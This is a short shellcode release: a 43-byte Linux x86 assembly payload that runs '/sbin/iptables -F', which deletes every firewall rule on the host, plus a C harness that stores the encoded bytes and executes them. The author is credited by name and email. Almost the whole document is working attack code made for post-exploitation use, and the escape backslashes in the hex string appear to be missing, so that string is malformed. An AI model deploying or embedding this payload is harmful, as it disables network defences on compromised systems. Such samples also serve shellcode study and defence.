/**************************************** /**********************************************/
/* linux/x86 iptables -F Length: 43 bytes */
/* */
/* 03/01/2019 */
/* */
/* Author: Cameron Brown */
/* */
/* Email: pwoerTF@gmail.com */
/**********************************************/

global _start

section .text

_start:
jmp short get
code:
pop ebx
cdq
mov [ebx+0xe], dl

lea eax, [ebx+0xf]
push edx
push eax
push ebx
mov ecx, esp

mov eax, edx
mov al, 0xb
int 0x80
get:
call code
file: db "/sbin/iptables#-F"


--------------------------------------------------


#include<stdio.h>
#include<string.h>


unsigned char code[] =
"xebx13x5bx99x88x53x0ex8dx43x0fx52x50x53x89xe1x89xd0xb0x0bxcdx80xe8xe8xffxffxffx2fx73x62x69x6ex2fx69x70x74x61x62x6cx65x73x23x2dx46";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}